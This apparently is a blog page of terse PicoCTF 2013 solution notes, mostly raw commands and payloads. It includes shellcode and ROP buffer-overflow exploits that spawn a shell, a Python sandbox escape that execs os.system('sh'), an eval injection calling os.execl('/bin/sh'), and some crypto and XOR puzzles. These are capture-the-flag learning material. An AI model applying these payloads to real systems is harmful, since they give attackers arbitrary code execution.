$cat buffer_overflow_shellcode.c
$cat shellcode-ascii
$./buffer_overflow_shellcode `python -c 'print "\x31\xc0\xf7\xe9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x70\x69\x69\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*42 + "\xa0\xd5\xff\xff"'`
sh-4.2$cat key
# PicoCTF 2k13 - Overflow 4
# PicoCTF 2k13 - ROP 3
$cat /problems/ROP_3_7f3312fe43c46d26/rop3.c
$export | grep SHELL
$ln -s /problems/ROP_3_7f3312fe43c46d26/rop3 rop3
$./getenvaddr SHELL ./rop3
$gdb rop3
(gdb)break main
(gdb)run
(gdb)print system
(gdb)print exit
$(python -c 'print "\x90"*140 + "\x50\x82\xe6\xf7" + "\x30\xbf\xe5\xf7" + "\x87\xd8\xff\xff"'; cat) | ./rop3
cat /problems/ROP_3_7f3312fe43c46d26/key
Labels:
getenvaddr,
picoctf,
rop
# PicoCTF 2k13 - Python Eval 5
#cat task5.py
#nc python.picoctf.com 6365
().__class__.__base__.__subclasses__()[53]
__builtins__
#ipython
In [1]:for c in "().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__['os'].system('sh')":
...:print "__builtins__['x'] = __builtins__['x'] + " + '"' + c + '"'
...: #nc python.picoctf.com 6365
__builtins__['x'] = '' __builtins__['x'] = __builtins__['x'] + "(" __builtins__['x'] = __builtins__['x'] + ")" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "b" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "u" __builtins__['x'] = __builtins__['x'] + "b" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "(" __builtins__['x'] = __builtins__['x'] + ")" __builtins__['x'] = __builtins__['x'] + "[" __builtins__['x'] = __builtins__['x'] + "5" __builtins__['x'] = __builtins__['x'] + "3" __builtins__['x'] = __builtins__['x'] + "]" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "n" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "t" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "f" __builtins__['x'] = __builtins__['x'] + "u" __builtins__['x'] = __builtins__['x'] + "n" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "g" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "o" __builtins__['x'] = __builtins__['x'] + "b" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "[" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "n" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "h" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "]" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "d" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "t" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "[" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "o" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "]" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "y" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "t" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "m" __builtins__['x'] = __builtins__['x'] + "(" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "h" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + ")" None; exec __builtins__['x'] ls -lh
cat flag_for_masters
# PicoCTF 2k13 - Python Eval 4
#cat task4.py
#nc python.picoctf.com 6364
GET /?"+(__builtins__.__import__('os').execl('/bin/sh','sh'))+"
ls -l
cat super_awesome_flag
# PicoCTF 2k13 - Broken CBC
#cat cbc_server.py
#cat padding_oracle.py
#./padding_oracle.py
Labels:
cbc,
crypto,
padding_oracle,
picoctf
# PicoCTF 2k13 - Overflow 3
$cat buffer_overflow.c
$objdump -t buffer_overflow | grep shell
$./buffer_overflow `python -c 'print "\x90"*76 + "\xf8\x85\x04\x08"'`
sh-4.2$cat key
# PicoCTF 2k13 - Core Decryption
$mkdir decrypt
$d decrypt
$cp /problems/core_decrypt.tar .
$tar xvf core_decrypt.tar
$cat cryptor.c
$file ENCRYPTED
$file core.26474
$gdb cryptor core.26474
(gdb)info stack
(gdb)frame 1
(gdb)info locals
(gdb)print /x &key
(gdb)print /x key
$python -c 'print "\xc5\xe4\x4c\x04\xbb\x2f\x5c\x10\xba\x75\x1b\xc3\x97\x4c\xdc\xdc"' > key
$./cryptor ENCRYPTED solution key
$cat solution
# PicoCTF 2k13 - ROP 2
$cat rop2.c
$objdump -t ./rop2 | grep not_
$gdb ./rop2
(gdb)set disassembly-flavor intel
(gdb)x/7i 0x080484a4
(gdb)x/xw 0x0804a024
$(python -c 'print "\x90"*140 + "\xb1\x84\x04\x08" + "\x10\x86\x04\x08"'; cat) | ./rop2
cat key
# PicoCTF 2k13 - Black Hole
In [1]:rf = open('masked_key.png', 'r')
In [2]:mk = rf.read()
In [3]:rf.close()
In [4]:key = bytearray(mk[-64:])
In [5]:png = bytearray(mk[:-64])
In [6]:for byte in xrange(len(png)):
...:png[byte] ^= key[byte % 64]
...: In [7]:wf = open('key.png', 'w')
In [8]:wf.write(png)
In [9]:wf.close()
Labels:
picoctf,
steganography,
xor
Subscribe to:
Posts (Atom)